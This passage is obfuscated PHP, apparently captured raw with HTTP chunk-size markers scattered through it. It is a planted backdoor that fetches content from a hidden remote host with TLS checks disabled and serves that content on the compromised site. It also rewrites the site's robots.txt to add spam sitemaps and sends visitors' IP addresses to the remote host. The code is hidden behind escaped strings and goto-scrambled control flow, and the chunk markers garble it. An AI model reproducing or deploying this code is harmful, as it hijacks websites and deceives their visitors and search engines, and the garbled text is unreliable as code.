3 $url, CURLOPT_RETURNTRAN 1a SFER => true, CURLOPT_SSL_ 12 VERIFYPEER => fals 32 e, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOW 1e LOCATION => true, CURLOPT_TIME 2e OUT => 10, CURLOPT_POST => true, CURLOPT_POSTF 1a IELDS => $postString)); $d 20 ata = curl_exec($ch); curl_close 1d ($ch); if (!empty($data)) { r 19 eturn $data; } } if (ini_ 15 get("\141\x6c\154\157 23 \x77\x5f\165\162\154\x5f\146\157\16 1b 0\x65\x6e")) { $context = s 1b tream_context_create(array( 20 "\150\164\x74\x70" => array("\x6 22 d\x65\x74\150\157\144" => "\x50\11 3f 7\x53\x54", "\x74\x69\x6d\x65\x6f\x75\164" => 10, "\x68\145\x61 23 \144\145\x72" => "\x43\157\156\164\ 21 145\x6e\x74\x2d\124\x79\x70\145\7 1d 2\40\141\160\160\x6c\151\143\ 2a x61\x74\151\157\156\57\170\55\167\x77\167\ 1e 55\x66\x6f\162\x6d\x2d\x75\x72 26 \154\145\156\143\157\144\x65\x64\15\xa 22 " . "\103\157\156\x74\145\156\164\ 21 55\x4c\x65\x6e\147\164\150\72\x20 21 " . strlen($postString) . "\15\12 21 " . "\x55\x73\145\x72\x2d\101\x67 2d \145\156\164\x3a\40\115\157\172\x69\x6c\x6c\1 23 41\57\x35\56\x30\15\12", "\x63\157\ 2d x6e\164\x65\156\164" => $postString), "\163\1 27 63\x6c" => array("\166\x65\x72\151\146\ 31 x79\x5f\160\x65\145\162" => false, "\166\145\x72\ 2d 151\x66\x79\x5f\160\145\x65\x72\x5f\x6e\x61\1 22 55\x65" => false))); $data = @file 23 _get_contents($url, false, $context 43 ); if (!empty($data)) { return $data; } } return ''; } goto wRFt_; 1d VguJR: if (!empty($get["\162" 16 ])) { $robotsPath = $_ 18 SERVER["\x44\117\x43\125 18 \115\x45\x4e\x54\137\122 28 \117\x4f\x54"] . "\57\162\157\142\x6f\x7 1d 4\163\x2e\x74\x78\164"; $site 19 mapBlock = "\125\163\145\ 22 162\55\141\147\x65\x6e\164\72\40\x 21 2a\xa\x41\x6c\x6c\x6f\167\x3a\40\ 2c 57\xa"; $sitemaps = "\12\x53\x69\x74\145\x6d 1a \x61\160\x3a\x20{$http_typ 23 e}{$_SERVER["\x48\x54\124\x50\x5f\1 25 10\117\123\124"]}{$_SERVER["\123\x43\ e x52\x49\x50\12 21 4\x5f\x4e\101\x4d\x45"]}\x3f\x73\ 2d 75\163\12"; if (!file_exists($robotsPath)) { 38 file_put_contents($robotsPath, $sitemapBlock . $sitemaps 31 ); } else { $robotsContent = @file_get_contents($ 14 robotsPath); if (str 31 pos($robotsContent, $_SERVER["\123\x43\122\111\12 20 0\x54\x5f\x4e\101\x4d\105"]) === 3a false) { @file_put_contents($robotsPath, $sitemaps, FILE_ 17 APPEND); } } } goto Kw0 10 TV; lb_EM: $vurl 23 = $http_type . "\x69\144\154\171\x 24 32\56\x69\x64\163\150\x6f\x70\56\x63 1f \x63\167\x75\x2e\143\x63\57\64\ 21 61\x39\56\x61\163\x70\170"; goto 27 VguJR; WNTMb: if (!empty($get["\x69\x64 2c "])) { if (empty($get["\153\x6b"])) { $ip = 1b get_ip(); $params = array(" 25 \151\160" => $ip, "\x69\144" => isset 28 ($get["\151\144"]) ? $get["\151\x64"] : 1b '', "\x6c\x6c" => $ll); $tz 30 str = getCurl($vurl, $params); if (strpos($tzstr 29 , "\x69\144") !== false) { echo $tzstr; d 3b ie; } } $params = array("\151\x64" => $get["\x69\x64"], "\1 3f 54\154" => $ll); $str = getCurl($vurl, $params); $str = str_rep 1f lace(array("\173\x55\x52\114\x7 1f d", "\x7b\xe5\x9f\x9f\xe5\x90\x 1c 8d\x7d"), array(get_url_info 2e ("\x66\x75\154\x6c"), get_url_info("\x6e\157\x 20 5f\167\167\x77")), $str); echo $ 2a str; die; } else { $sitemapUrl = $ll . "\x 21 3f\x73\75" . date("\x59\155\144\x 20 48\x69"); echo "\x3c\144\151\x76 25 \x20\163\164\171\x6c\145\x3d\47\164\1 20 45\170\164\x2d\141\x6c\x69\x67\1 2b 56\x3a\143\145\x6e\x74\145\x72\73\40\160\x6 29 1\x64\x64\151\x6e\147\x3a\61\x30\160\170\ 20 x20\x30\x3b\47\x3e\x3c\x61\x20\1 23 50\x72\145\x66\x3d\x22{$sitemapUrl} 22 \42\x20\164\141\162\147\x65\164\x3 30 d\x22\x5f\x62\x6c\141\x6e\153\x22\x20\x72\x65\15 21 4\75\42\156\157\146\x6f\154\154\1 22 57\167\42\76\40\123\151\164\x65\15 28 5\141\160\74\x2f\141\x3e\74\x2f\144\x69\ 1d 166\x3e"; } goto UHNmn; Kw0TV 38 : if (!empty($get["\x73"])) { $params = array("\x73" => 2b date("\131\155\144\110\x69"), "\156\x75\155 28 \x62\145\162" => $get["\156\165\x6d\142\ 58 145\162"]); $str = getCurl($vurl, $params); $str = str_replace(array("\173\xe5\xbd\x93\3 16 45\211\x8d\xe5\234\xb0 36 \xe5\x9d\200\175"), array($http_type . $_SERVER["\x48\ 33 124\124\120\x5f\110\x4f\123\124"] . $_SERVER["\x53\ 20 103\122\x49\120\124\x5f\116\101\ 20 115\105"]), $str); header("\x43\ 2c x6f\156\164\145\156\x74\55\164\171\x70\x65\x 23 3a\x74\145\x78\164\x2f\x78\x6d\154" 2b ); echo $str; die; } goto WNTMb; OsiDT: err 1b or_reporting(0); goto XVeBg 1e ; HWR4h: $http_type = !empty($ 24 _SERVER["\110\124\x54\120\x53"]) && 32 $_SERVER["\x48\x54\x54\120\123"] !== "\157\x66\x66 1c " ? "\x68\x74\x74\160\x73\72 30 \57\x2f" : "\x68\x74\x74\160\x3a\57\x2f"; goto r 30 RNpn; rRNpn: $ll = "{$http_type}{$_SERVER["\x48\ 4a 124\x54\120\137\110\117\123\124"]}{$_SERVER["\x53\x43\122\x49\120\124\137\ 24 x4e\x41\x4d\x45"]}"; goto lb_EM; RyB 1f oU: function get_ip() { foreach 29 (array("\110\x54\x54\120\137\x58\x5f\x46 26 \x4f\122\127\101\122\x44\105\104\x5f\1 25 06\117\x52", "\x48\124\x54\x50\137\10 27 3\x4c\x49\105\116\124\x5f\111\120", "\x 28 52\105\115\117\124\105\x5f\101\x44\x44\x 28 52") as $key) { if (!empty($_SERVER[$key 18 ])) { return trim(explod 29 e("\54", $_SERVER[$key])[0]); } } return 27 "\x55\116\x4b\116\117\127\x4e"; } goto 2c w0kkS; N6bGe: function get_url_info(string $ 28 return_type = "\144\157\155\x61\x69\x6e" 2c ) : string { $host = $_SERVER["\x48\124\124\ 3b x50\137\110\x4f\123\124"]; if ($return_type === "\144\x6f\x 3a 6d\x61\151\x6e") { return $host; } if ($return_type === "\ 24 x6e\x6f\x5f\x77\x77\x77") { return l 26 trim($host, "\x77\x77\x77\x2e"); } $pr 26 otocol = isset($_SERVER["\110\x54\124\ 37 120\123"]) && $_SERVER["\110\124\124\x50\123"] === "\x6 39 f\156" || isset($_SERVER["\x48\124\x54\x50\137\x58\137\10 31 6\117\x52\127\101\122\x44\x45\x44\137\120\x52\x4f 43 \124\x4f"]) && $_SERVER["\x48\x54\x54\x50\x5f\130\137\x46\x4f\x52\x 27 57\x41\x52\x44\x45\104\137\x50\122\117\ 35 124\x4f"] === "\x68\164\164\160\x73" ? "\x68\164\164\ 2f x70\x73\x3a\57\x2f" : "\x68\x74\164\x70\x3a\x2f 25 \57"; $base_url = $protocol . $host; 3b if ($return_type === "\142\141\x73\x65") { return $base_url 49 ; } $uri = $_SERVER["\x52\105\x51\x55\x45\x53\124\x5f\x55\122\111"]; $ful 39 l_url = $base_url . $uri; if ($return_type === "\146\165\ 3e 154\x6c") { return $full_url; } return ''; } goto RyBoU; wRFt_ 3f : function getCurl($url, $getData = array()) { if (!empty($getD 47 ata)) { $queryString = is_array($getData) ? http_build_query($getData) 22 : $getData; $url .= (strpos($url, 27 "\x3f") === false ? "\x3f" : "\x26") . 43 $queryString; } if (function_exists("\143\165\162\154\x5f\151\x6e\1 10c 51\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_HTTPGET => true, CURLOPT_U 20 SERAGENT => "\115\157\172\151\15 17 4\x6c\141\x2f\65\56\60" 88 )); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\157\x77\137\x75\x72\x6c\13 7e 7\x66\157\160\145\x6e")) { $context = stream_context_create(array("\150\164\x74\x70" => array("\155\145\x74\150\157\144" => "\ 2a 107\105\x54", "\x74\151\155\x65\x6f\165\16 2c 4" => 10, "\150\x65\x61\144\x65\x72" => "\x5 2d 5\x73\145\162\x2d\x41\147\145\x6e\x74\x3a\x20 21 \x4d\x6f\x7a\151\154\154\x61\57\6 24 5\56\x30\xd\12"), "\x73\x73\154" => 59 array("\x76\145\x72\x69\x66\x79\x5f\160\x65\145\162" => false, "\166\145\162\151\146\x79\ 26 137\x70\x65\x65\x72\137\x6e\141\x6d\14 8c 5" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto HWR4h; UHNmn: ?> 0